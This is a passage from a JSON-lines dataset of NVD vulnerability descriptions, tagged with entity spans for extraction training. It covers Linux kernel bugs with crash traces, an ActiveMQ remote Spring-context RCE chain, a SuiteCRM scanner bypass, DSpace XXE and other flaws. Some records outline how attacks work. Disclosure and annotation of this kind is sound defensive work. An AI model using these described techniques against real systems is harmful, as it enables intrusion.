ffffff8025190870 x7 : ffffff8021726880 x6 : 0000000000000002\n    x5 : ffffff80217268f0 x4 : ffffff8021726880 x3 : ffffffc081200000\n    x2 : 0000000000000001 x1 : ffffff8020e89010 x0 : ffffffc081200004\n    Call trace:\n     readl+0x0/0x18\n     caam_ctrl_suspend+0x30/0xdc\n     dpm_run_callback.constprop.0+0x24/0x5c\n     device_suspend+0x170/0x2e8\n     dpm_suspend+0xa0/0x104\n     dpm_suspend_start+0x48/0x50\n     suspend_devices_and_enter+0x7c/0x45c\n     pm_suspend+0x148/0x160\n     state_store+0xb4/0xf8\n     kobj_attr_store+0x14/0x24\n     sysfs_kf_write+0x38/0x48\n     kernfs_fop_write_iter+0xb4/0x178\n     vfs_write+0x118/0x178\n     ksys_write+0x6c/0xd0\n     __arm64_sys_write+0x14/0x1c\n     invoke_syscall.constprop.0+0x64/0xb0\n     do_el0_svc+0x90/0xb0\n     el0_svc+0x18/0x44\n     el0t_64_sync_handler+0x88/0x124\n     el0t_64_sync+0x150/0x154\n    Code: 88dffc21 88dffc21 5ac00800 d65f03c0 (b9400000)", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39722"}}
{"text": "A weakness has been identified in huggingface smolagents 1.25.0.dev0. This affects the function evaluate_augassign/evaluate_call/evaluate_with of the file src/smolagents/local_python_executor.py of the component Incomplete Fix CVE-2025-9959. This manipulation causes code injection. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.", "spans": {"CVE_ID: CVE-2025-9959": [[227, 240]], "FILEPATH: /evaluate_call/evaluate_with": [[114, 142]], "FILEPATH: /smolagents/local_python_executor.py": [[158, 194]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-4963"}}
{"text": "TensorFlow is an open source platform for machine learning. In affected versions the implementation of `tf.math.segment_*` operations results in a `CHECK`-fail related abort (and denial of service) if a segment id in `segment_ids` is large. This is similar to CVE-2021-29584 (and similar other reported vulnerabilities in TensorFlow, localized to specific APIs): the implementation (both on CPU and GPU) computes the output shape using `AddDim`. However, if the number of elements in the tensor overflows an `int64_t` value, `AddDim` results in a `CHECK` failure which provokes a `std::abort`. Instead, code should use `AddDimWithStatus`. The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.", "spans": {"CVE_ID: CVE-2021-29584": [[260, 274]], "VULNERABILITY: denial of service": [[179, 196]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-41195"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix block group refcount race in btrfs_create_pending_block_groups()\n\nBlock group creation is done in two phases, which results in a slightly\nunintuitive property: a block group can be allocated/deallocated from\nafter btrfs_make_block_group() adds it to the space_info with\nbtrfs_add_bg_to_space_info(), but before creation is completely completed\nin btrfs_create_pending_block_groups(). As a result, it is possible for a\nblock group to go unused and have 'btrfs_mark_bg_unused' called on it\nconcurrently with 'btrfs_create_pending_block_groups'. This causes a\nnumber of issues, which were fixed with the block group flag\n'BLOCK_GROUP_FLAG_NEW'.\n\nHowever, this fix is not quite complete. Since it does not use the\nunused_bg_lock, it is possible for the following race to occur:\n\nbtrfs_create_pending_block_groups            btrfs_mark_bg_unused\n                                           if list_empty // false\n        list_del_init\n        clear_bit\n                                           else if (test_bit) // true\n                                                list_move_tail\n\nAnd we get into the exact same broken ref count and invalid new_bgs\nstate for transaction cleanup that BLOCK_GROUP_FLAG_NEW was designed to\nprevent.\n\nThe broken refcount aspect will result in a warning like:\n\n  [1272.943527] refcount_t: underflow; use-after-free.\n  [1272.943967] WARNING: CPU: 1 PID: 61 at lib/refcount.c:28 refcount_warn_saturate+0xba/0x110\n  [1272.944731] Modules linked in: btrfs virtio_net xor zstd_compress raid6_pq null_blk [last unloaded: btrfs]\n  [1272.945550] CPU: 1 UID: 0 PID: 61 Comm: kworker/u32:1 Kdump: loaded Tainted: G        W          6.14.0-rc5+ #108\n  [1272.946368] Tainted: [W]=WARN\n  [1272.946585] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Arch Linux 1.16.3-1-1 04/01/2014\n  [1272.947273] Workqueue: btrfs_discard btrfs_discard_workfn [btrfs]\n  [1272.947788] RIP: 0010:refcount_warn_saturate+0xba/0x110\n  [1272.949532] RSP: 0018:ffffbf1200247df0 EFLAGS: 00010282\n  [1272.949901] RAX: 0000000000000000 RBX: ffffa14b00e3f800 RCX: 0000000000000000\n  [1272.950437] RDX: 0000000000000000 RSI: ffffbf1200247c78 RDI: 00000000ffffdfff\n  [1272.950986] RBP: ffffa14b00dc2860 R08: 00000000ffffdfff R09: ffffffff90526268\n  [1272.951512] R10: ffffffff904762c0 R11: 0000000063666572 R12: ffffa14b00dc28c0\n  [1272.952024] R13: 0000000000000000 R14: ffffa14b00dc2868 R15: 000001285dcd12c0\n  [1272.952850] FS:  0000000000000000(0000) GS:ffffa14d33c40000(0000) knlGS:0000000000000000\n  [1272.953458] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n  [1272.953931] CR2: 00007f838cbda000 CR3: 000000010104e000 CR4: 00000000000006f0\n  [1272.954474] Call Trace:\n  [1272.954655]  <TASK>\n  [1272.954812]  ? refcount_warn_saturate+0xba/0x110\n  [1272.955173]  ? __warn.cold+0x93/0xd7\n  [1272.955487]  ? refcount_warn_saturate+0xba/0x110\n  [1272.955816]  ? report_bug+0xe7/0x120\n  [1272.956103]  ? handle_bug+0x53/0x90\n  [1272.956424]  ? exc_invalid_op+0x13/0x60\n  [1272.956700]  ? asm_exc_invalid_op+0x16/0x20\n  [1272.957011]  ? refcount_warn_saturate+0xba/0x110\n  [1272.957399]  btrfs_discard_cancel_work.cold+0x26/0x2b [btrfs]\n  [1272.957853]  btrfs_put_block_group.cold+0x5d/0x8e [btrfs]\n  [1272.958289]  btrfs_discard_workfn+0x194/0x380 [btrfs]\n  [1272.958729]  process_one_work+0x130/0x290\n  [1272.959026]  worker_thread+0x2ea/0x420\n  [1272.959335]  ? __pfx_worker_thread+0x10/0x10\n  [1272.959644]  kthread+0xd7/0x1c0\n  [1272.959872]  ? __pfx_kthread+0x10/0x10\n  [1272.960172]  ret_from_fork+0x30/0x50\n  [1272.960474]  ? __pfx_kthread+0x10/0x10\n  [1272.960745]  ret_from_fork_asm+0x1a/0x30\n  [1272.961035]  </TASK>\n  [1272.961238] ---[ end trace 0000000000000000 ]---\n\nThough we have seen them in the async discard workfn as well. It is\nmost likely to happen after a relocation finishes which cancels discard,\ntears down the block group, etc.\n\nFix this fully by taking the lock arou\n---truncated---", "spans": {"FILEPATH: /01/2014": [[1883, 1891]], "FILEPATH: refcount.c": [[1472, 1482]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Linux": [[1864, 1869]], "SYSTEM: QEMU": [[1814, 1818]], "VULNERABILITY: use-after-free": [[1409, 1423]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-22115"}}
{"text": "Pydio Cells 2.0.4 web application offers an administrative console named “Cells Console” that is available to users with an administrator role. This console provides an administrator user with the possibility of changing several settings, including the application’s mailer configuration. It is possible to configure a few engines to be used by the mailer application to send emails. If the user selects the “sendmail” option as the default one, the web application offers to edit the full path where the sendmail binary is hosted. Since there is no restriction in place while editing this value, an attacker authenticated as an administrator user could force the web application into executing any arbitrary binary.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-12847"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncifs: Fix server re-repick on subrequest retry\n\nWhen a subrequest is marked for needing retry, netfs will call\ncifs_prepare_write() which will make cifs repick the server for the op\nbefore renegotiating credits; it then calls cifs_issue_write() which\ninvokes smb2_async_writev() - which re-repicks the server.\n\nIf a different server is then selected, this causes the increment of\nserver->in_flight to happen against one record and the decrement to happen\nagainst another, leading to misaccounting.\n\nFix this by just removing the repick code in smb2_async_writev().  As this\nis only called from netfslib-driven code, cifs_prepare_write() should\nalways have been called first, and so server should never be NULL and the\npreparatory step is repeated in the event that we do a retry.\n\nThe problem manifests as a warning looking something like:\n\n WARNING: CPU: 4 PID: 72896 at fs/smb/client/smb2ops.c:97 smb2_add_credits+0x3f0/0x9e0 [cifs]\n ...\n RIP: 0010:smb2_add_credits+0x3f0/0x9e0 [cifs]\n ...\n  smb2_writev_callback+0x334/0x560 [cifs]\n  cifs_demultiplex_thread+0x77a/0x11b0 [cifs]\n  kthread+0x187/0x1d0\n  ret_from_fork+0x34/0x60\n  ret_from_fork_asm+0x1a/0x30\n\nWhich may be triggered by a number of different xfstests running against an\nAzure server in multichannel mode.  generic/249 seems the most repeatable,\nbut generic/215, generic/249 and generic/308 may also show it.", "spans": {"FILEPATH: /smb/client/smb2ops.c": [[943, 964]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-42256"}}
{"text": "This vulnerability allows remote atackers to execute arbitrary code on affected installations of Foxit PhantomPDF 9.6.0.25608. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the handling of watermarks. The issue results from the lack of validating the existence of an object prior to performing operations on the object. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-9640.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-8856"}}
{"text": "PILOS (Platform for Interactive Live-Online Seminars) is a frontend for BigBlueButton. PILOS before 4.8.0 includes a Cross-Origin Resource Sharing (CORS) misconfiguration in its middleware: it reflects the Origin request header back in the Access-Control-Allow-Origin response header without proper validation or a whitelist, while Access-Control-Allow-Credentials is set to true. This behavior could allow a malicious website on a different origin to send requests (including credentials) to the PILOS API. This may enable exfiltration or actions using the victim’s credentials if the server accepts those cross-origin requests as authenticated. Laravel’s session handling applies additional origin checks such that cross-origin requests are not authenticated by default. Because of these session-origin protections, and in the absence of any other unknown vulnerabilities that would bypass Laravel’s origin/session checks, this reflected-Origin CORS misconfiguration is not believed to be exploitable in typical PILOS deployments. This vulnerability has been patched in PILOS in v4.8.0", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-62523"}}
{"text": "Dataease is an open source data visualization analysis tool. Dataease prior to 1.15.2 has a deserialization vulnerability. In Dataease, the Mysql data source in the data source function can customize the JDBC connection parameters and the Mysql server target to be connected. In `backend/src/main/java/io/dataease/provider/datasource/JdbcProvider.java`, the `MysqlConfiguration` class does not filter any parameters. If an attacker adds some parameters to a JDBC url and connects to a malicious mysql server, the attacker can trigger the mysql jdbc deserialization vulnerability. Through the deserialization vulnerability, the attacker can execute system commands and obtain server privileges. Version 1.15.2 contains a patch for this issue.", "spans": {"FILEPATH: /src/main/java/io/dataease/provider/datasource/JdbcProvider.java": [[287, 351]], "VULNERABILITY: deserialization": [[92, 107], [549, 564], [592, 607]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-39312"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: fec: Use page_pool_put_full_page when freeing rx buffers\n\nThe page_pool_release_page was used when freeing rx buffers, and this\nfunction just unmaps the page (if mapped) and does not recycle the page.\nSo after hundreds of down/up the eth0, the system will out of memory.\nFor more details, please refer to the following reproduce steps and\nbug logs. To solve this issue and refer to the doc of page pool, the\npage_pool_put_full_page should be used to replace page_pool_release_page.\nBecause this API will try to recycle the page if the page refcnt equal to\n1. After testing 20000 times, the issue can not be reproduced anymore\n(about testing 391 times the issue will occur on i.MX8MN-EVK before).\n\nReproduce steps:\nCreate the test script and run the script. The script content is as\nfollows:\nLOOPS=20000\ni=1\nwhile [ $i -le $LOOPS ]\ndo\n    echo \"TINFO:ENET $curface up and down test $i times\"\n    org_macaddr=$(cat /sys/class/net/eth0/address)\n    ifconfig eth0 down\n    ifconfig eth0  hw ether $org_macaddr up\n    i=$(expr $i + 1)\ndone\nsleep 5\nif cat /sys/class/net/eth0/operstate | grep 'up';then\n    echo \"TEST PASS\"\nelse\n    echo \"TEST FAIL\"\nfi\n\nBug detail logs:\nTINFO:ENET  up and down test 391 times\n[  850.471205] Qualcomm Atheros AR8031/AR8033 30be0000.ethernet-1:00: attached PHY driver (mii_bus:phy_addr=30be0000.ethernet-1:00, irq=POLL)\n[  853.535318] IPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready\n[  853.541694] fec 30be0000.ethernet eth0: Link is Up - 1Gbps/Full - flow control rx/tx\n[  870.590531] page_pool_release_retry() stalled pool shutdown 199 inflight 60 sec\n[  931.006557] page_pool_release_retry() stalled pool shutdown 199 inflight 120 sec\nTINFO:ENET  up and down test 392 times\n[  991.426544] page_pool_release_retry() stalled pool shutdown 192 inflight 181 sec\n[ 1051.838531] page_pool_release_retry() stalled pool shutdown 170 inflight 241 sec\n[ 1093.751217] Qualcomm Atheros AR8031/AR8033 30be0000.ethernet-1:00: attached PHY driver (mii_bus:phy_addr=30be0000.ethernet-1:00, irq=POLL)\n[ 1096.446520] page_pool_release_retry() stalled pool shutdown 308 inflight 60 sec\n[ 1096.831245] fec 30be0000.ethernet eth0: Link is Up - 1Gbps/Full - flow control rx/tx\n[ 1096.839092] IPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready\n[ 1112.254526] page_pool_release_retry() stalled pool shutdown 103 inflight 302 sec\n[ 1156.862533] page_pool_release_retry() stalled pool shutdown 308 inflight 120 sec\n[ 1172.674516] page_pool_release_retry() stalled pool shutdown 103 inflight 362 sec\n[ 1217.278532] page_pool_release_retry() stalled pool shutdown 308 inflight 181 sec\nTINFO:ENET  up and down test 393 times\n[ 1233.086535] page_pool_release_retry() stalled pool shutdown 103 inflight 422 sec\n[ 1277.698513] page_pool_release_retry() stalled pool shutdown 308 inflight 241 sec\n[ 1293.502525] page_pool_release_retry() stalled pool shutdown 86 inflight 483 sec\n[ 1338.110518] page_pool_release_retry() stalled pool shutdown 308 inflight 302 sec\n[ 1353.918540] page_pool_release_retry() stalled pool shutdown 32 inflight 543 sec\n[ 1361.179205] Qualcomm Atheros AR8031/AR8033 30be0000.ethernet-1:00: attached PHY driver (mii_bus:phy_addr=30be0000.ethernet-1:00, irq=POLL)\n[ 1364.255298] fec 30be0000.ethernet eth0: Link is Up - 1Gbps/Full - flow control rx/tx\n[ 1364.263189] IPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready\n[ 1371.998532] page_pool_release_retry() stalled pool shutdown 310 inflight 60 sec\n[ 1398.530542] page_pool_release_retry() stalled pool shutdown 308 inflight 362 sec\n[ 1414.334539] page_pool_release_retry() stalled pool shutdown 16 inflight 604 sec\n[ 1432.414520] page_pool_release_retry() stalled pool shutdown 310 inflight 120 sec\n[ 1458.942523] page_pool_release_retry() stalled pool shutdown 308 inflight 422 sec\n[ 1474.750521] page_pool_release_retry() stalled pool shutdown 16 inflight 664 sec\nTINFO:ENET  up and down test 394 times\n[ 1492.8305\n---truncated---", "spans": {"FILEPATH: /sys/class/net/eth0/address": [[987, 1014]], "FILEPATH: /sys/class/net/eth0/operstate": [[1124, 1153]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Qualcomm": [[1293, 1301], [1968, 1976], [3145, 3153]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52998"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: f_fs: Fix use-after-free for epfile\n\nConsider a case where ffs_func_eps_disable is called from\nffs_func_disable as part of composition switch and at the\nsame time ffs_epfile_release get called from userspace.\nffs_epfile_release will free up the read buffer and call\nffs_data_closed which in turn destroys ffs->epfiles and\nmark it as NULL. While this was happening the driver has\nalready initialized the local epfile in ffs_func_eps_disable\nwhich is now freed and waiting to acquire the spinlock. Once\nspinlock is acquired the driver proceeds with the stale value\nof epfile and tries to free the already freed read buffer\ncausing use-after-free.\n\nFollowing is the illustration of the race:\n\n      CPU1                                  CPU2\n\n   ffs_func_eps_disable\n   epfiles (local copy)\n\t\t\t\t\tffs_epfile_release\n\t\t\t\t\tffs_data_closed\n\t\t\t\t\tif (last file closed)\n\t\t\t\t\tffs_data_reset\n\t\t\t\t\tffs_data_clear\n\t\t\t\t\tffs_epfiles_destroy\nspin_lock\ndereference epfiles\n\nFix this races by taking epfiles local copy & assigning it under\nspinlock and if epfiles(local) is null then update it in ffs->epfiles\nthen finally destroy it.\nExtending the scope further from the race, protecting the ep related\nstructures, and concurrent accesses.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[84, 98], [703, 717]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48822"}}
{"text": "A heap-based buffer overflow in the hxxx_AnnexB_to_xVC function in modules/packetizer/hxxx_nal.c in VideoLAN VLC media player before 3.0.11 for macOS/iOS allows remote attackers to cause a denial of service (application crash) or execute arbitrary code via a crafted H.264 Annex-B video (.avi for example) file.", "spans": {"FILEPATH: /packetizer/hxxx_nal.c": [[74, 96]], "SYSTEM: macOS": [[144, 149]], "SYSTEM: iOS": [[150, 153]], "VULNERABILITY: heap-based buffer overflow": [[2, 28]], "VULNERABILITY: denial of service": [[189, 206]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-13428"}}
{"text": "Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ.\n\nApache ActiveMQ Classic exposes the Jolokia JMX-HTTP bridge at /api/jolokia/ on the web console. The default Jolokia access policy permits exec operations on all ActiveMQ MBeans (org.apache.activemq:*), including\nBrokerService.addNetworkConnector(String) and BrokerService.addConnector(String).\n\nAn authenticated attacker can invoke these operations with a crafted discovery URI that triggers the VM transport's brokerConfig parameter to load a remote Spring XML application context using ResourceXmlApplicationContext.\nBecause Spring's ResourceXmlApplicationContext instantiates all singleton beans before the BrokerService validates the configuration, arbitrary code execution occurs on the broker's JVM through bean factory methods such as Runtime.exec().\n\n\n\nThis issue affects Apache ActiveMQ Broker: before 5.19.4, from 6.0.0 before 6.2.3; Apache ActiveMQ All: before 5.19.4, from 6.0.0 before 6.2.3; Apache ActiveMQ: before 5.19.4, from 6.0.0 before 6.2.3.\n\n\n\nUsers are recommended to upgrade to version 5.19.4 or 6.2.3, which fixes the issue", "spans": {"FILEPATH: /api/jolokia": [[207, 219]], "SYSTEM: Apache ActiveMQ": [[102, 117], [126, 141], [144, 159], [925, 940], [989, 1004], [1050, 1065]], "ORGANIZATION: Spring": [[596, 602], [672, 678]], "VULNERABILITY: Improper Input Validation": [[0, 25]], "VULNERABILITY: code execution": [[808, 822]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-34197"}}
{"text": "Issue summary: Generating excessively long X9.42 DH keys or checking\nexcessively long X9.42 DH keys or parameters may be very slow.\n\nImpact summary: Applications that use the functions DH_generate_key() to\ngenerate an X9.42 DH key may experience long delays.  Likewise, applications\nthat use DH_check_pub_key(), DH_check_pub_key_ex() or EVP_PKEY_public_check()\nto check an X9.42 DH key or X9.42 DH parameters may experience long delays.\nWhere the key or parameters that are being checked have been obtained from\nan untrusted source this may lead to a Denial of Service.\n\nWhile DH_check() performs all the necessary checks (as of CVE-2023-3817),\nDH_check_pub_key() doesn't make any of these checks, and is therefore\nvulnerable for excessively large P and Q parameters.\n\nLikewise, while DH_generate_key() performs a check for an excessively large\nP, it doesn't check for an excessively large Q.\n\nAn application that calls DH_generate_key() or DH_check_pub_key() and\nsupplies a key or parameters obtained from an untrusted source could be\nvulnerable to a Denial of Service attack.\n\nDH_generate_key() and DH_check_pub_key() are also called by a number of\nother OpenSSL functions.  An application calling any of those other\nfunctions may similarly be affected.  The other functions affected by this\nare DH_check_pub_key_ex(), EVP_PKEY_public_check(), and EVP_PKEY_generate().\n\nAlso vulnerable are the OpenSSL pkey command line application when using the\n\"-pubcheck\" option, as well as the OpenSSL genpkey command line application.\n\nThe OpenSSL SSL/TLS implementation is not affected by this issue.\n\nThe OpenSSL 3.0 and 3.1 FIPS providers are not affected by this issue.", "spans": {"CVE_ID: CVE-2023-3817": [[629, 642]], "SYSTEM: OpenSSL": [[1157, 1164], [1396, 1403], [1484, 1491], [1531, 1538], [1598, 1605]], "VULNERABILITY: Denial of Service": [[551, 568], [1052, 1069]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-5678"}}
{"text": "Sigstore Timestamp Authority is a service for issuing RFC 3161 timestamps. Versions 2.0.5 and below contain an authorization bypass vulnerability in the VerifyTimestampResponse function. VerifyTimestampResponse correctly verifies the certificate chain signature, but the TSA-specific constraint checks in VerifyLeafCert uses the first non-CA certificate from the PKCS#7 certificate bag instead of the leaf certificate from the verified chain. An attacker can exploit this by prepending a forged certificate to the certificate bag while the message is signed with an authorized key, causing the library to validate the signature against one certificate but perform authorization checks against another. This vulnerability only affects users of the timestamp-authority/v2/pkg/verification package and does not affect the timestamp-authority service itself or sigstore-go. The issue has been fixed in version 2.0.6.", "spans": {"FILEPATH: /v2/pkg/verification": [[766, 786]], "VULNERABILITY: authorization bypass": [[111, 131]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-39984"}}
{"text": "check-jsonschema is a CLI and set of pre-commit hooks for jsonschema validation. The default cache strategy uses the basename of a remote schema as the name of the file in the cache, e.g. `https://example.org/schema.json` will be stored as `schema.json`. This naming allows for conflicts. If an attacker can get a user to run `check-jsonschema` against a malicious schema URL, e.g., `https://example.evil.org/schema.json`, they can insert their own schema into the cache and it will be picked up and used instead of the appropriate schema. Such a cache confusion attack could be used to allow data to pass validation which should have been rejected. This issue has been patched in version 0.30.0. All users are advised to upgrade. A few workarounds exist: 1. Users can use `--no-cache` to disable caching. 2. Users can use `--cache-filename` to select filenames for use in the cache, or to ensure that other usages do not overwrite the cached schema. (Note: this flag is being deprecated as part of the remediation effort.) 3. Users can explicitly download the schema before use as a local file, as in `curl -LOs https://example.org/schema.json; check-jsonschema --schemafile ./schema.json`", "spans": {"URL: https://example.org/schema.json`": [[189, 221]], "URL: https://example.evil.org/schema.json`,": [[384, 422]], "URL: https://example.org/schema.json;": [[1113, 1145]], "FILEPATH: schema.json": [[241, 252], [1178, 1189]], "SYSTEM: curl": [[1103, 1107]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53848"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: ets: fix divide by zero in the offload path\n\nOffloading ETS requires computing each class' WRR weight: this is done by\naveraging over the sums of quanta as 'q_sum' and 'q_psum'. Using unsigned\nint, the same integer size as the individual DRR quanta, can overflow and\neven cause division by zero, like it happened in the following splat:\n\n Oops: divide error: 0000 [#1] SMP PTI\n CPU: 13 UID: 0 PID: 487 Comm: tc Tainted: G            E       6.19.0-virtme #45 PREEMPT(full)\n Tainted: [E]=UNSIGNED_MODULE\n Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011\n RIP: 0010:ets_offload_change+0x11f/0x290 [sch_ets]\n Code: e4 45 31 ff eb 03 41 89 c7 41 89 cb 89 ce 83 f9 0f 0f 87 b7 00 00 00 45 8b 08 31 c0 45 01 cc 45 85 c9 74 09 41 6b c4 64 31 d2 <41> f7 f2 89 c2 44 29 fa 45 89 df 41 83 fb 0f 0f 87 c7 00 00 00 44\n RSP: 0018:ffffd0a180d77588 EFLAGS: 00010246\n RAX: 00000000ffffff38 RBX: ffff8d3d482ca000 RCX: 0000000000000000\n RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffffd0a180d77660\n RBP: ffffd0a180d77690 R08: ffff8d3d482ca2d8 R09: 00000000fffffffe\n R10: 0000000000000000 R11: 0000000000000000 R12: 00000000fffffffe\n R13: ffff8d3d472f2000 R14: 0000000000000003 R15: 0000000000000000\n FS:  00007f440b6c2740(0000) GS:ffff8d3dc9803000(0000) knlGS:0000000000000000\n CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n CR2: 000000003cdd2000 CR3: 0000000007b58002 CR4: 0000000000172ef0\n Call Trace:\n  <TASK>\n  ets_qdisc_change+0x870/0xf40 [sch_ets]\n  qdisc_create+0x12b/0x540\n  tc_modify_qdisc+0x6d7/0xbd0\n  rtnetlink_rcv_msg+0x168/0x6b0\n  netlink_rcv_skb+0x5c/0x110\n  netlink_unicast+0x1d6/0x2b0\n  netlink_sendmsg+0x22e/0x470\n  ____sys_sendmsg+0x38a/0x3c0\n  ___sys_sendmsg+0x99/0xe0\n  __sys_sendmsg+0x8a/0xf0\n  do_syscall_64+0x111/0xf80\n  entry_SYSCALL_64_after_hwframe+0x77/0x7f\n RIP: 0033:0x7f440b81c77e\n Code: 4d 89 d8 e8 d4 bc 00 00 4c 8b 5d f8 41 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 11 c9 c3 0f 1f 80 00 00 00 00 48 8b 45 10 0f 05 <c9> c3 83 e2 39 83 fa 08 75 e7 e8 13 ff ff ff 0f 1f 00 f3 0f 1e fa\n RSP: 002b:00007fff951e4c10 EFLAGS: 00000202 ORIG_RAX: 000000000000002e\n RAX: ffffffffffffffda RBX: 0000000000481820 RCX: 00007f440b81c77e\n RDX: 0000000000000000 RSI: 00007fff951e4cd0 RDI: 0000000000000003\n RBP: 00007fff951e4c20 R08: 0000000000000000 R09: 0000000000000000\n R10: 0000000000000000 R11: 0000000000000202 R12: 00007fff951f4fa8\n R13: 00000000699ddede R14: 00007f440bb01000 R15: 0000000000486980\n  </TASK>\n Modules linked in: sch_ets(E) netdevsim(E)\n ---[ end trace 0000000000000000 ]---\n RIP: 0010:ets_offload_change+0x11f/0x290 [sch_ets]\n Code: e4 45 31 ff eb 03 41 89 c7 41 89 cb 89 ce 83 f9 0f 0f 87 b7 00 00 00 45 8b 08 31 c0 45 01 cc 45 85 c9 74 09 41 6b c4 64 31 d2 <41> f7 f2 89 c2 44 29 fa 45 89 df 41 83 fb 0f 0f 87 c7 00 00 00 44\n RSP: 0018:ffffd0a180d77588 EFLAGS: 00010246\n RAX: 00000000ffffff38 RBX: ffff8d3d482ca000 RCX: 0000000000000000\n RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffffd0a180d77660\n RBP: ffffd0a180d77690 R08: ffff8d3d482ca2d8 R09: 00000000fffffffe\n R10: 0000000000000000 R11: 0000000000000000 R12: 00000000fffffffe\n R13: ffff8d3d472f2000 R14: 0000000000000003 R15: 0000000000000000\n FS:  00007f440b6c2740(0000) GS:ffff8d3dc9803000(0000) knlGS:0000000000000000\n CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n CR2: 000000003cdd2000 CR3: 0000000007b58002 CR4: 0000000000172ef0\n Kernel panic - not syncing: Fatal exception\n Kernel Offset: 0x30000000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)\n ---[ end Kernel panic - not syncing: Fatal exception ]---\n\nFix this using 64-bit integers for 'q_sum' and 'q_psum'.", "spans": {"FILEPATH: /01/2011": [[625, 633]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23379"}}
{"text": "SuiteCRM is an open-source, enterprise-ready Customer Relationship Management (CRM) software application. A Critical Remote Code Execution (RCE) vulnerability exists in SuiteCRM 7.15.0 and 8.9.2, allowing authenticated administrators to execute arbitrary system commands. This vulnerability is a direct Patch Bypass of CVE-2024-49774. Although the vendor attempted to fix the issue in version 7.14.5, the underlying flaw in ModuleScanner.php regarding PHP token parsing remains. The scanner incorrectly resets its internal state ($checkFunction flag) when encountering any single-character token (such as =, ., or ;). This allows attackers to hide dangerous function calls (e.g., system(), exec()) using variable assignments or string concatenation, completely evading the MLP security controls. Versions 7.15.1 and 8.9.3 patch the issue.", "spans": {"CVE_ID: CVE-2024-49774": [[319, 333]], "FILEPATH: ModuleScanner.php": [[424, 441]], "SYSTEM: PHP": [[452, 455]], "VULNERABILITY: Remote Code Execution": [[117, 138]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-29103"}}
{"text": "matrix-appservice-irc is an open source Node.js IRC bridge for Matrix. The Internet Relay Chat (IRC) protocol allows you to specify multiple modes in a single mode command. Due to a bug in the underlying matrix-org/node-irc library, affected versions of matrix-appservice-irc perform parsing of such modes incorrectly, potentially resulting in the wrong user being given permissions. Mode commands can only be executed by privileged users, so this can only be abused if an operator is tricked into running the command on behalf of an attacker. The vulnerability has been patched in matrix-appservice-irc 0.35.0. As a workaround users should refrain from entering mode commands suggested by untrusted users. Avoid using multiple modes in a single command.", "spans": {"FILEPATH: Node.js": [[40, 47]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-39202"}}
{"text": "DSpace open source software is a repository application which provides durable access to digital resources. Two related XML External Entity (XXE) injection possibilities impact all versions of DSpace prior to 7.6.4, 8.2, and 9.1. External entities are not disabled when parsing XML files during import of an archive (in Simple Archive Format), either from command-line (`./dspace import` command) or from the \"Batch Import (Zip)\" user interface feature. External entities are also not explicitly disabled when parsing XML responses from some upstream services (ArXiv, Crossref, OpenAIRE, Creative Commons) used in import from external sources via the user interface or REST API. An XXE injection in these files may result in a connection being made to an attacker's site or a local path readable by the Tomcat user, with content potentially being injected into a metadata field. In the latter case, this may result in sensitive content disclosure, including retrieving arbitrary files or configurations from the server where DSpace is running. The Simple Archive Format (SAF) importer / Batch Import (Zip) is only usable by site administrators (from user interface / REST API) or system administrators (from command-line). Therefore, to exploit this vulnerability, the malicious payload would have to be provided by an attacker and trusted by an administrator, who would trigger the import. The fix is included in DSpace 7.6.4, 8.2, and 9.1. Please upgrade to one of these versions. For those who cannot upgrade immediately, it is possible to manually patch the DSpace backend. One may also apply some best practices, though the protection provided is not as complete as upgrading. Administrators must carefully inspect any SAF archives (they did not construct themselves) before importing. As necessary, affected external services can be disabled to 